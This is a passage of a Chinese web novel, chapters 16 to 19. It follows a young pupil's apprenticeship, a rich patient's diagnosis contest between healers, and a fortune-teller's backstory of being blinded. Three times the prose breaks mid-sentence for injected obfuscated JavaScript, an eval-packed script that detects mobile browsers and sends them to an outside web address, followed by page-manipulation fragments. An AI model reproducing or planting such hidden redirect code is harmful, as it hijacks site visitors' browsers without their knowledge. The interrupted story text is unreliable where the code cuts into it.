再后来,陆辰竹不再整日掉泪,她就写日升日落、月隐月明,写她年少时路过的壮阔山川滔滔江河、见过的花开树摇,也写人情冷暖、生老病死。 陆辰竹再听不到母亲的细声软语,但每日都能见到她将额前发挽到耳后,倾墨提笔,浪漫柔情写不尽。 每每此时,陆辰竹都忍不住靠过去,趴在桌边偷看。 挽娘不赶他走,但笔下却有意引用了不少晦涩难懂的诗词字句,让他须得花心思去翻书才能知晓其中深意。 陆辰竹看不懂,想直接去问季庄和杜存荀,但很快又打消了这个念头,老老实实去季庄房中翻书。 这是母亲只对他一人说的话,绝不能让别人听了去。 无奈季庄藏书多为医书,解不出挽娘的诗情画意,将不认识的字句一个个誊抄下来又太难太费时间,陆辰竹终于问:“夏夫子能看懂所有的字吗?” 杜存荀知道陆辰竹这是动摇了决心,信誓旦旦说夏恭是天下第一博学多才,就没有他看不懂的字。谁能跟着夏恭学习,谁就会成为天下第二博学多才,什么都能看懂。 “可是大家都说我笨,夫子不会喜欢我的。”陆辰竹又打起退堂鼓。 “辰术这么乖巧,夫子定然喜欢,不然也不会差人来信说想收辰术为弟子。”杜存荀再接再厉,想也不想做出承诺,“辰术去夫子家中读书,娘亲就留在府中织布,哪里也不去。要是辰术的娘亲要出门,我一定跟着,帮辰术保护娘亲好不好?” 挽娘听了过意不去,上前要劝阻,杜存荀将她推开,“辰术信不信恩人?” 最后一句稍显多余,陆辰竹哪里会不信她。 这回轮到杜存荀着急,怕拖久了陆辰竹会变卦,正巧季庄下午还要去夏家为夏荷复诊,于是当场定下明日一早就上门去拜师。 夏荷喝了药,精神已经好了不少,不再终日郁郁寡欢。夏恭空出闲来与季庄谈陆辰竹拜师的琐碎事宜,杜存荀则向夏荷和夏夫人吐露霍景已经身亡的消息。 夏荷到底是书香世家的小姐,喜怒都拘着,心中悬石放下,脸上只弯起浅浅一道笑,“谢杜姑娘告知。” 倒是夏夫人喜上眉梢,“我就知道,恶有恶报。我家荷儿无事招惹他,他竟说出那样的话,让荷儿丢尽脸面,所幸有季大夫和杜姑娘在......” 夏夫人嗓门不自觉变大,杜存荀生怕季庄听见会多想,忙补道:“这事儿我也是听江湖中人提起,真假难辨,夫人先别声张。” 夏夫人心下了然,识相噤声,转而问起季庄的婚事,“姑娘,你整日跟在季大夫身边,可听他提起娃娃亲一事?” 夏荷脸一红,嗔怪道,“娘。” “问问又不碍事。”夏夫人不以为意,“就你那不成器的心上人,失约留你一人苦等就算了,知你被歹人欺负,这么多天也没来封书信问候。” 夏荷气不过,但憋了半天说不出一句顶撞的话,气鼓鼓向杜存荀告了别就走了。 杜存荀不是八卦的人,除了陆辰竹那日与她提过的几句,就没再过问季庄娃娃亲的事情。夏夫人问不出什么别的,便想替杜存荀牵条红线,“不知姑娘可有心上人?” 杜存荀猝不及防,下意识扭头说没有。 “那正好呀,夏荷有一远房堂哥,如今也在晏州,过几日我叫你俩见见......” 季庄刚与夏恭谈完,来叫杜存荀一起离开,走到门边就听见夏夫人在给她说亲。 杜存荀摆摆手,“夫人有心了,我一个人自在惯了,就算嫁人也给不了多少嫁妆,还是不耽误那位公子了。” 千言万语,不及一句没有嫁妆。 这是杜存荀应付除辛成柏以外的媒人的杀手锏。 夏夫人果然乱了阵脚,安慰几句就将她放走。 好不容易摆脱了夏夫人,杜存荀一走出来,就看见季庄站在树下等她。 “明早辰术能来拜师吗?”杜存荀走到他身边问。 季庄仿佛才回神,“嗯,明日卯时。” “怎么了?”杜存荀察觉季庄的不对劲。 季庄摇头,“没事。” “大夫听到了方才夏夫人的话?”杜存荀将脑袋歪到季庄面前。 季庄不自在点头。 原来是因为娃娃亲一事。 “大夫尽管放心,我不会刻意打探你的家事。”杜存荀稍稍踮脚,手臂上拐搭在季庄肩膀上,低声,“但我还是要多说一句,你每次替人看病只收取那一点银两,往后真要遇见了心爱的女子,你得攒到何时才能攒足一份聘礼......要我说,遇到富贵人家,大可收多些银两,就当是劫富济贫,也是为自己做好打算。” 她没有嫁妆无人娶,季庄没有聘礼同样娶不到媳妇。 季庄眼皮跳了跳,没想到她会说出这样的话。 艳阳穿过叶隙在杜存荀脸上打下点点光影,季庄低头去看她近在咫尺的脸,心想他哪里是在担心聘礼。 —— 夜里,杜存荀去辛府蹭完晚饭回来,经过柴房,见陆辰竹小小一团蜷在油灯下,嘴里念念有词。 “恩人。”见到杜存荀来了,陆辰竹起身。 “怎么还不睡觉?” “我在背拜师词。” 杜存荀接过陆辰竹手中被捏皱巴了的草纸,上面是季庄工整的字迹。 ——今有愚生陆辰竹,年十二,闻夫子博学多识、桃李满园,望拜入师门,习得立身之本…… 后面的字晕成一团,但不难看出季庄给陆辰竹写的拜师词并不多,也通俗易懂。 陆辰竹竟然背到现在。 杜存荀把草纸还给陆辰竹,“先去睡吧,实在背不出就算了。” 万事俱备,夏恭怎会单因陆辰竹背不出拜师词而拒绝收他为徒。 陆辰竹没被她说动,“娘说一定要背出来。” 杜存荀刚好还不困,见陆辰竹背一句看一眼,看一眼忘一句,就知道他不是死记硬背的料,于是抽走他手里的草纸,“跟我念。” 陆辰竹站起来,拱手,弯腰。 杜存荀笑,“跟我念就好,不用把我当做夏恭。” 陆辰竹不抬头,“我想试试。” 杜存荀只好随他去。 “今有愚生陆辰竹,年十二。”杜存荀背手而立,扮作夏恭。 “今有愚生陆辰竹,年十二。”陆辰竹拱手弯腰跟着念。 “闻夫子博学多识。” “闻夫子博学多识。” …… “恩人好厉害,竟然看一眼就能背下来。”陆辰竹跟着念完,看向杜存荀的眼神里尽是钦佩。 杜存荀扶额:“自己试一次。” “今有愚生陆辰竹,闻……闻师父博学多才,愿拜入师门,习、习得立身之本,惩恶扬善。” 错漏百出,但好歹背通了,只是听到最后,杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231340|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存荀疑惑皱眉,展开草纸去看,陆辰竹及时解释,“季大夫写的最后一句是惩恶扬善。” 杜存荀心说夏恭和惩恶扬善有什么关系,肯定是陆辰竹记错,但周围也没有笔,这院子里唯一有笔的季庄早已睡下不好去打扰,于是口头叮嘱陆辰竹,“最后那句不用说。” 多说多错。 听陆辰竹又磕磕绊绊背了几次,杜存荀起了些困意,想回去睡。 陆辰竹突然叫住她,“恩人。” “嗯?” “我能拜你为师吗?” 杜存荀顿时醒了神,半信半疑,“你想拜我为师?” 陆辰竹点头,“娘说行过拜师礼就是师父。” 杜存荀骑虎难下,没想到有一天竟然被一个乳臭未干的小孩占了便宜。行过拜师礼才问她愿不愿意当他师父…… 好一招先斩后奏。 “为何想拜我为师?”杜存荀稳住心绪,问。 “恩人武功高强,辰术想要拜恩人为师,学武功,保护娘亲。”陆辰竹一字一句说得认真。 杜存荀上下打量一番陆辰竹,突然明白了什么,随即展露笑容,“好啊。” 得到允许后,陆辰竹一点也没想为什么拜师如此顺利,双眸瞬间被点亮,扑通一声跪下,朝她大拜,“辰竹愿一生跟随师父,惩恶扬善。” 没有束脩,没有回礼。 一段师徒情谊就这样简单结下。 —— 次日一早,杜存荀从吉福楼带回来一份紫花糕,四人就往夏家赶。 这场拜师礼只有陆辰竹一个弟子拜入师门,因此过程并不繁杂冗长。 陆辰竹恭恭敬敬呈上束脩和拜师帖,在夏恭面前背出那一段拜师词,夏恭训诫他几句诸如勤学苦练、清白立身的话,再回赠一本典籍,整个拜师礼就宣告结束。 挽娘见陆辰竹顺利收下夏恭的回赠,高兴得掩面而泣。陆辰竹跟着引路的童子离开大堂,频频回头,直到过转角后再也看不见。 离开夏家后,季庄要去贺家为贺家老爷贺通诊病,即将跟回陆府的挽娘分道扬镳,杜存荀放心不下,把一块通体漆黑的石头放到挽娘手里,“这是掷地响,您遇到危险就将它摔到地上,我能听见。” 挽娘受宠若惊,没有接过石头,反而笑着指了指季庄。 杜存荀明白她的意思。陆行雇她来是为了保护季庄,就算挽娘遇到危险摔了掷地响,她也不能舍本逐末,将季庄扔下不管。 挽娘远比她想象中更明事理。 但她想给出去的东西,就没有再收回来的道理。 杜存荀把掷地响塞到她手里,郑重道:“就把它当作您的声音吧。” 挽娘摇摇头,继续推辞,不肯收。 “您有私心,我有分寸。”杜存荀挑明。 意料之中,挽娘眼睛慢慢红了。 季庄不明所以。挽娘明明不是容易哭的人,除去昨晚的惊吓掉泪,再上一次见她哭,便是他三年前初到陆府第一次见到陆辰竹那时。 怎么杜存荀一句没头没尾的话又惹她掉了泪。 杜存荀知道季庄迷惑,但她不想点破更多。 挽娘为了让陆辰竹拜她为师,不惜任由自己嗓子哑掉,也要和并不相熟的她说尽心里话,引起她对陆辰竹的同情心,昨夜又将陆辰竹赶到柴房去背拜师词,引她帮忙,再顺势拜她为师。 手段不算高明,只是在赌她的良心。 尽力示弱寻求庇护……也许季庄当初也是在这样的情况下对陆辰竹施以援手,收陆辰竹为药童带在身边。 只是,杜存荀记得季庄提过,挽娘并不舍得让陆辰竹习武。 从求学到求武,或许改变她坚定念头的只是奋力往霍景腹上捅进去的那一刀吧。 相比于功名利禄,她更希望陆辰竹能活下去。 17. 第 17 章 告别挽娘后,季庄和杜存荀去了贺家。 贺家老爷昨日派人来陆府求医,说是腰痛彻夜难眠,请季庄务必今早到府上替他看看。 守在门口的童仆将季庄和杜存荀两人引进屋后,只叫他们在此等候,随后又陆陆续续带了三人进来。 杜存荀有些摸不着头脑,不停用余光偷偷去瞥另外三人。 王起元,家中世代为医,行医四十年有余,善治小儿疾病与各类跌打损伤,年刚及冠便考进了太医院,名声极盛。王太医前不久告老,出了宫门,继续在市井间行医。世家大族家中但凡生了小孩,不论是男是女、有病没病,必然请他去府上住一阵,以备不时之需。 鱼鹤音,方术士,擅长算命,起初无人问津,与狗抢食,住破庙,后来瞎了一双眼,自称是看破了天机,遭到了上天报应。此话一出,百姓纷至沓来,不到一年,鱼鹤音便靠算命赚来的银两,在晏州置办了一处宅子。 剩下的一个不知名姓,但瞧上去年纪与季庄相仿。不过,杜存荀还未听说晏州城中除季庄外还有这样年轻的大夫。 “大夫,”杜存荀轻轻戳一下季庄手肘,小声问道,“你认得那个人么?” 季庄顺着她目光望过去,摇头。 “季庄,”鱼鹤音眼上蒙着一条白布,朝季庄的方向看过来,“听闻你新找了个武夫?” “先生所言不假。”季庄朝他微微颔首。 鱼鹤音轻笑一声,没再言语。恰巧一家仆推门而入,将王起元请了出去。 王起元回来后,便到了那不知名姓的少年被叫出去,再就是鱼鹤音,最后才是季庄。 季庄走后,杜存荀被鱼鹤音盯得坐立不安。那白布下瞎掉的一双眼,像是能把她看出个洞来。 “先生可是有话要与我说?”杜存荀耐不住,开口问他。 王起元和那少年本在座上闭目养神,闻声,都看了过来。 “姑娘与在下一位故人有些相像。”鱼鹤音淡淡开口。 你不是瞎了吗? 三人一同看向鱼鹤音。 众人都等着他开口,他却又收住了嘴。 刚好季庄回来,贺家老爷贺通也现了身。 贺通身前撑着拐杖,身侧由侍从扶着,慢慢走到主位坐下,环视一圈,发现多了个不认识的女子,“姑娘是……” 鱼鹤音先季庄一步,“老爷,这姑娘可是季大夫寻的新武夫呢。” “武夫?”贺通来了兴致,“能被陆大人选中的人,想必武艺了得……正巧我府中有把长剑,留着也是落灰,若是姑娘舞得好,我便将此剑赠与姑娘,就当是,物归原主。” 谁知他说了好些话,杜存荀却拒得丝毫不委婉,“小女不才,不会舞剑。” 看病就看病,莫名其妙叫她舞什么剑,跟那不着调的皇帝一个样,一围猎就叫将帅舞剑,一喝酒就挑小兵唱曲。 干净利落被驳了面子,贺通铁着脸看向季庄。 在座三人皆看向季庄。 季庄瞟一眼鱼鹤音,开口道:“老爷有所不知,这位姑娘虽厉害,但也只懂得些一击致命的招数,着实不会舞剑。” 鱼鹤音笑着圆场,“古往今来,天地间的宝物向来难遇有缘人。看来姑娘与这宝剑是有缘无分。” 贺通脸色缓和了些,道:“罢了……都来说说看,老夫这是得了什么病,不必拘束,尽管畅言。” 王起元年岁最老,理应第一个开口,“老爷家业遍布大姜,单是巡店,一日便要走上万步之多。且府中上下账目皆要老爷过目,日久伏案,想必老爷的双目与肩颈也患有隐疾……老爷这腰痛乃是积劳成疾,只需平日多加节制,凡事适可而止,再配上强筋骨的方子,定能痊愈。” 鱼鹤音听罢,抚掌称赞:“王大夫字字珠玑,与我所算之卦不谋而合。老爷生来富贵命,本该养尊处优,颐养天年,却事事亲力亲为,逆了上天旨意……上天这才降下腰疾,好让老爷莫要再劳碌。” 那未知姓名的少年直截了当,说贺通腰疼是为湿痹,因这几日多雨,故腰疼得厉害。 最后是季庄。 贺通特意看他一眼,“季大夫但说无妨。” 从面色到舌象,从脉象到筋骨,季庄将贺通的病情从头到脚说了一通,杜存荀虽没听懂多少,但季庄最后一句话,她记得异常清楚。 季庄说贺通是因为房劳过度才引起了腰痛,劝他多加节制。 一时间,鸦雀无声。 杜存荀暗暗为季庄捏了一把汗。贺通虽然叫他们不必拘束,但众目睽睽之下说起房劳一事,怎么不叫人尴尬。 “王大夫,你怎么看?”贺通皱了皱眉,不像介意,倒像是摸不定主意。 “是老朽疏忽了天象。” “鹤音先生?”贺通又问鱼鹤音。 “某方才又算了一卦,属实是连降大雨致使的腰痛。” 果然还是少年的医术更胜一筹。 贺通暗暗松了一口气。他今年不过六十一,叫了两个姑娘罢了,怎么可能房劳过度。 除却少年,仆从将余下三人送出府。王起元坐进在外等候已久的马车,一溜烟走了。 杜存荀向季庄道谢:“谢大夫替我解围。” 贺通颐指气使惯了,被她措不及防呛了这么一句,心里定是不舒坦的。季庄若是怕贺通因她而刁难他,进而贬低或是劝她,都情有可原。 但她没想到,季庄没有和稀泥,反而展现出强硬的一面,站在她这边。 季庄刚要回话,鱼鹤音手握着探路的木棍,摸索着挤到两人中间,抬手亲昵勾住季庄脖子,“我帮你们说了好话,季庄,你也该谢谢我。” 杜存荀看着勾肩搭背的两人,一脸讶异。 “鹤音先生与我是故友。”季庄解释。 “我料想你会如实说,谁知你还真说了。”鱼鹤音模棱两可叹道。 季庄以为他说的是贺通的病情。 “早在卧房里,我就与他说过了……” 先前在卧房,只有季庄与贺通两人时,季庄把完脉后曾与贺通说了自己的诊断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231341|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。贺通却说他们四人的诊断皆不相同,要让他们聚于一处,各抒己见,一较高下,好选出最妥当的诊断。 何为最妥当的诊断? ——不信医者,不治。 师父这句教诲,他至今仍烂熟于心。 季庄几不可闻叹了口气。 “叹什么气,那老狐狸既然只相信他愿意相信的,你说再多也没用。”鱼鹤音拍拍季庄的肩,“那王老头哪里看不出来?他只是不愿治罢了,到时候再闹出什么毛病,岂不是给自己找麻烦……也就只有你心善,但善得过了头,就显得有些蠢笨。” 原来真是房劳过度么。 杜存荀咋舌。 贺通只有一位正室,不曾纳妾。且不说正室如今已经年老体衰,单是贺通,去年就已过了六十高寿。 他都已经这样老了。 不过,更令杜存荀愕然的是另一句——王起元不愿治。 “为何不愿治?”杜存荀问。 贺通家财万贯,给得起诊病的银两,怎还会有大夫不愿治。 “贺老狐狸不信医,故王起元不治,他也不信道,故而我也不愿帮他。徒劳无功的事,谁愿意去干。你看,今日跑这一趟也没见他给一点劳苦费......”鱼鹤音鄙夷道,“你信不信,贺通今日问不出他想要的诊断,明日还会找别的大夫来看。” “但这几日确实多雨……” “啧啧啧,姑娘你有所不知,贺通这人,性子淫得很……”鱼鹤音压低了声音,“那小子资质尚浅,只能看到些皮毛——下雨只是碰巧罢了。要不是这几日贺夫人不在晏州,管不着,他哪来的腰痛。” “若真是如此,那他为何不信季大夫?” 杜存荀只觉得,一个人再如何自大,也不该拿自己性命开玩笑。 “众目睽睽之下,他要是留下季庄,不就是承认自己真的房劳过度了吗?更何况,这个度,谁也说不准,怎样才算过度,贺通跟你家季大夫想的可不一样……” 最后,鱼鹤音神秘兮兮道:“贺通命里有劫数,他活不过六十五岁。” 语毕,鱼鹤音雇来的车夫刚好赶着马车停在跟前。 “姑娘,日后若是遇着了抉择不定的事情,大可来我宅中算上一卦,看在你与我一位故友相像的份上,我不收你银两。”鱼鹤音被车夫扶着钻进马车,笑着掀帘与两人告别,“季庄,闲来无事多去我那坐坐,我随时恭迎。” 马车开走后,鱼鹤音还探出个头来,特意叮嘱道,“季庄,今日之事,不必言谢,我方才逗你玩的,别当真了。” 白布条有些松了,鱼鹤音伸手捂住,坐回车内。 杜存荀总觉得鱼鹤音白布下是一双完好的双眼。她也失明过,眼前一片混沌时,远远做不到他这样举止自如。 还有,如果他看不见,又怎么会觉得她与他一位故友相像。 “他的眼睛,能治好吗?”鬼使神差般,杜存荀开口问。 季庄惋惜摇头。 眼珠子都叫人剜出来了,怎么可能复明。 18. 第 18 章 鱼鹤音走后,杜存荀心中疑云越积越厚,好不容易熬到傍晚,季庄回陆府歇息,她便脚下生风,回杜宅换了身男装,直奔云想楼。 她想知道关于鱼鹤音的一切。 进去朗月间不多时,年楚抱琴推门而入。 杜存荀开门见山,“季庄有个朋友,算命的,叫鱼鹤音,你认识么?” “他找上你了?”年楚在琴后落座,垂眸,拨动几根琴弦调音。 “今日我跟着季庄去贺家看病,他也在,还说我与他一位故人十分相像。”杜存荀双手往后撑着身子,“明明他什么都看不见。” 年楚轻笑,“他可比你更懂得忽悠人。” “我看他不像骗人。”杜存荀半信半疑。 “鱼家世代在连州生活,鱼鹤音也才比季庄早一年来晏州,怎会早就见过你。” “也是......我都没去过连州那一带。” “真想听他的事?”年楚抛出钩子。 杜存荀迫不及待上钩,“当然。” “二十两给得出来么?” “先赊着。”杜存荀将椅子挪到年楚身前,“以后再给。” 年楚没与她计较这些,娓娓道来,“鱼鹤音虽然爱忽悠人,但算命是准的。他来晏州,是为了进宫,算国运。” —— 鱼鹤音小时候不喜欢读书也不喜欢舞刀弄枪,总喜欢跟一个老神棍到处跑。 老神棍一整天神神叨叨,讲话讲不利索,吃饭也吃不干净。鱼鹤音爹娘看着自家孩子天一亮就跟着那呆傻老头四处溜达,心中忧虑,但又念在这老神棍救过溺水鱼鹤音的命,是鱼家的贵人,也就由着鱼鹤音当这一块狗皮膏药。 鱼鹤音一天到晚跟着老神棍,没学多少风水,倒学会了不少忽悠人的话术。后来阴差阳错当了个地方小官,也是靠着这么一张嘴得了不少民心。 但嘴皮子功夫再厉害,也盘不过地头蛇。很快,鱼鹤音审案子得罪了人,还别人清白,丢自己官职。 官职倒是身外之物。鱼鹤音脱下一身官服,拎着一壶小酒悠悠然要归家。这时候一封书信迟迟送来,上面寥寥几笔简单明了将父母坟头的位置画了出来,叫他有空记得去拜拜。 鱼鹤音这才知道父母得了急病,已经双双离世,他还要还清二叔请人做丧事垫付的银两。 从此之后鱼鹤音一个人孤苦伶仃,家徒四壁,了无牵挂,于是做起了算命的勾当。 当初老神棍跟他讲,人在做天在看,算命的抢了老天爷的活儿,就是违背天命,是要被收走气运的。如果他想活得长一点,就别碰这勾当。 鱼鹤音不知道这话的真假,只知道自己没饭吃,他也不在乎什么真假,只在乎能不能填饱肚子。 但他独来独往惯了,没想过找亲人接济,也没想起一位能够雪中送炭的朋友。 于是找到一街头的说书人,专挑他喝茶润喉的间隙,当着一众百姓就开始忽悠。 说书的讲到名门望族,他就谈住宅风水,谈怎样置办宅子好纳财消灾。说书的讲平民百姓飞黄腾达,他就讲怎样断舍离才能遇贵人。 鱼鹤音见缝就插针,摇头晃脑说得头头是道。一开始被不满地瞪了好几眼,还被人撵走,但他脸皮厚,装模做样走出几步又折返,到最后就连说书先生也不讲了,眼巴巴盼着他说出致富之道。 大势所趋,鱼鹤音看了几个人的手相,再简单算出一些鸡毛蒜皮的小事,诸如家中几口人、做的什么差事、近日有何不顺,赢得几声惊叹之后一切水到渠成,当天饭钱就有了着落。 老神棍说,命这玩意儿虽然说是算出来的,但说到底还是靠悟性。 正所谓师傅领进门,修行靠个人。 鱼鹤音想,胡说八道也能蒙对,看来他悟性还挺高。既然天意让他吃这碗饭,他总不能选择饿死。 在连州算命算出了点名气,鱼鹤音的志向也水涨船高。 他想要进宫给皇帝算命。 算国运。 折寿又如何。留在史书上,活得才是最长久。 这份野心他见人就说,盼着哪天能传到皇帝耳朵里,将他召进宫里探探虚实。 但人才济济的晏州不比连州。这里没人信他的话,只当是个玩笑,听过就忘了,一点风浪惹不起来。 反倒他因年轻气盛,锋芒毕露外加口无遮拦,被人狠狠打压了一次,从此一蹶不振。 之后三年,鱼鹤音在破庙住过,在山林里睡过,也在桥洞下与各路乞丐争过地盘,寒来暑往,身上就那一件破麻衣,昼夜更替,手里顶多一块别人吃剩的馒头。 他观天象,辨星宿,识八卦,只要知道生辰八字,再看一眼手相,他就能推演出那人的生死姻缘、富贵灾祸,只可惜找他算命的人寥寥无几。 晏州城里不缺算命先生,算命先生们神机妙算,招牌打得响当当,他活得狗都不如,没人信他能帮自己转运也是情有可原。 有道是物极必反,鱼鹤音苟延残喘了三年之后,给一个人算了一卦。 那少年生得极俊,是女子见了都会为之倾倒的模样。鱼鹤音盯着他看,也不免看得出了神。 少年说了自己的生辰八字。鱼鹤音听罢,细细推演了一番,又看了他手相。 ——生来性恶,为祸世间,不得好死。 鱼鹤音声音有些发颤:“你想问什么?” “姻缘。”那人浅笑。 ——得遇良人,两情相悦。 鱼鹤音如实说了。 少年听罢,脸上耳根都泛起微红,眼底藏不住柔情蜜意。 ——她也心悦于我。 次日清晨,鱼鹤音还在原来的桥洞避暑,少年叫醒了他,送给他一小壶清酒当昨日算命的报酬。 鱼鹤音不喜饮酒,心中又对他忌惮,于是谢绝了他的好意。少年只好离开。 接连好几日,少年天天来,也不算命,就陪着他窝在桥下看着往来的行人游船,偶尔与他聊上几句。 少年长得好看,单是坐在那里,就引得不少百姓驻足,他再出声吆喝几句,鱼鹤音就饿不死。 看着也不像是为祸世间的魔头。鱼鹤音心一软,有些想为少年改命,“你叫什么名字?” “我爹娘叫我阿三。” “姓什么?” “我姓杜。” 次日,鱼鹤音画了一道符,叫少年割破手指头沾点血上去。 “你要帮我改命?”少年脸上的神情变幻不定。 鱼鹤音突然有些后悔。 改命是有违天道的事,成败与否,他都要遭天谴。昨日怎么就突然想要帮少年改命呢,自己真是活腻歪了。 鱼鹤音心虚地收回那道符纸,解释得漏洞百出。少年也没再说什么。 次日一早,少年又提着那壶清酒来了,说要与他告别。鱼鹤音这次没再推辞,咽下一口后,双目顿时涩痛难忍,像被火灼,像被烟熏,像烈日直直刺进来。 鱼鹤音张着嘴,却发不出太大的声音——他嗓子也被酒毒哑了。 少年递过来一把匕首,鱼鹤音接过来,疯魔了一般,睁着眼跪坐在地,仰头将自己一双眼睛扎得稀巴烂,企图用更剧烈的疼痛盖过双目涩痛。 最后,少年一手按着鱼鹤音长满了凌乱胡须的下巴,一手接过匕首,硬生生将他双目剜了出来。 “先生就当从未见过我吧。”少年不紧不慢,将沾了血的匕首重新握进鱼鹤音手中,嗓音温柔得不像话。 少年走后,鱼鹤音能发出声音了,于是张口哭嚎。其声凄厉,过路人皆掩耳慌乱离开。 刚巧季庄采完药回来,背着药篓路过,听见有人哭喊,战战兢兢走过去,这才把鱼鹤音救回来一命。 季庄不敢将鱼鹤音带回陆府——他那模样实在太吓人,于是将他带回中草园休养。 一来二往,鱼鹤音发现两人是老乡,又有过命的交情,于是越发与季庄亲近。 声名鹊起后,鱼鹤音常与人念叨这段过往,但没人知道那个俊美狠辣的杜姓少年是何人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252874|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一曲终了,故事也讲完,年楚起身要走,“鱼鹤音如今虽不得空天天去找季庄,但季庄事事他都关心。想必早就打听到你姓杜。” “难不成他怀疑我和那挖人双目的少年同族?”杜存荀皱眉。 “你若打定主意要隐姓埋名,就离他远些。”年楚说。 杜存荀本打算哪日撺掇季庄去鱼鹤音家中做客,听年楚说了这么一通,飞快打消了与他深交的念头,“那是自然。” 年楚说完鱼鹤音一事,又记起一件事,“眷婴已经安然无恙回家了。” “谁去救的?”杜存荀来了精神,盘腿坐端正,“你先别说,容我猜一猜......” “她那未婚夫?”杜存荀问。 “呵,连家听到一点风声,退婚了。”年楚讥诮道,“天下男子,有血性的能有几个。” “莫不是她那位竹马……前不久袭了千户的陈家少爷?” 年楚摇头,“眷婴订亲后,陈二便另娶他人了。” 杜存荀接连又猜了赵四李六王七,皆不搭边。年楚见她越猜越远,忍不住揭晓,“眷婴的弟弟眷齐召了死士,连夜潜入黑风寨,然而掘地三尺都找不到她......” “眷婴真在黑风寨么?”杜存荀打断。 她甚至开始怀疑顾怜是被冤枉的。先前光顾着交换人情给季庄挣来一份赏莲宴的请帖,寨子里找不到眷婴时也没细想,如今想来,顾怜那样爱妻如命的人,怎么会做出这种招惹闲话的勾当,把待嫁少女往家里领。 “眷齐将沈氏双手反绑,顾怜当下就叫人将眷婴从山脚抬了上来。”年楚说。 “这山脚下不是风卷寨么?”杜存荀奇怪,她分明记得何端与她讲过黑山的寨子布局。 “风卷寨不放人,顾怜把他们二当家给杀了。”年楚风轻云淡道。 杜存荀发现顾怜是真的疯魔,风卷寨虽比不过黑风寨,但他这一刀坏了规矩,往后黑风寨在江湖上算是孤立无援了。 人人都说沈氏是顾怜心头肉。看来此传言着实不假。 杜存荀发觉其中有空子可钻,“这样一来,岂不是只要拿捏住沈氏,就能号令顾怜做任何事?” 年楚笑她天真,“沈氏虽被顾怜娇养,但绝非等闲之辈。单论心思城府,不在你我之下,怎会轻易被人拿捏?” 杜存荀却记起挽娘的话,“女子多为情所困,当初那么风光的挽娘如今也被陆行他爹折磨得不成样子……你说该不会沈氏真变了心,移情别恋看上了季庄,想扶持季庄做新的寨主?” “你这猜想倒是大胆。” “不然顾怜为何如此忌惮季庄,非要取他性命不可?季庄老实巴交,就是觊觎有夫之妇也没胆子做点什么,顾怜吼他一声能让他做一辈子噩梦。” 年楚摇头,“顾怜既然起了疑心,就只有杀了季庄才能永绝后患。” 杜存荀想想觉得这确实是顾怜能干出来的事,可又一件小事接着浮上心头,“顾怜难道不知季庄有娃娃亲一事?” 年楚笑得耐人寻味,“你怎么也听说了?” “夏夫人想招季庄当上门女婿,陆辰竹替他推辞,告诉夏夫人说季庄自小就定下了娃娃亲。” 年楚轻笑,“娃娃亲不过是季庄随口拿来搪塞其他女子的借口罢了。他家境贫寒,不会有父母愿意与季家结下娃娃亲。难道腹中孩子尚未出世便要相约来到这世上一同受苦么。” 尽管如此,杜存荀还是想不明白为什么顾怜恨不得将季庄置之于死地,“真要如谣言所说,季庄也只是摸了沈氏的手,并无其他逾矩之事,这顾怜未免太小心眼,说不定真是一场误会……他再这样偏执下去,别说摸脉了,看多一眼问多一句都被当作觊觎他爱妻从而无辜丢掉性命,以后沈氏生病,哪位大夫敢去给她看病?” 年楚发现杜存荀竟然替情种顾怜大方起来,果然是没经历过心动情事的人,忍不住伸出食指点了点她额头,“你呀。” “以后谁当了你的情郎,可有苦头吃了。” 19. 第 19 章 故事讲完,杜存荀打算今夜在此留宿,脱下夜行衣问年楚要衣裳换,门外却传来一阵脚步声,只好先躲到屏风后。 伴着房外传来的隐隐乐声,有人轻轻叩门,“沉香,花娘要改舞步,叫咱们过去呢。” 年楚应了一声,门外人便走了。年楚翻出来一套新衣裳给杜存荀,就要跟着去,杜存荀拉住她低声埋怨,“这花娘不用睡的么?况且这改舞步又不是改曲子,将你叫下去做什么?” 年楚拨开她的手,“你又不是不知,花娘向来要求尽善尽美。” “你走了,我一个人待着也乏味,不如我也过去瞧瞧。” 年楚拦住杜存荀,“花娘这几日派了许多人盯着,生怕舞步被其他青楼偷了去。你别添乱。” 杜存荀只好抱着新衣裳下楼溜进了浴房。 浴房用竹板隔开,分成几个小的隔间,水汽氤氲,还能听到几位楼里的艺伎边洗身子边娇声软语在浴池里互通八卦。 杜存荀选了个稍偏僻的隔间,褪去全身衣裙后,整个身子慢慢滑进浴桶中。 太舒服了。 怪不得这云想楼的女子都十分香软。 等到胸中再无气可呼出时,杜存荀才将头浮出水面,开始小心翼翼擦洗身子和长发,尽量不发出大声响。 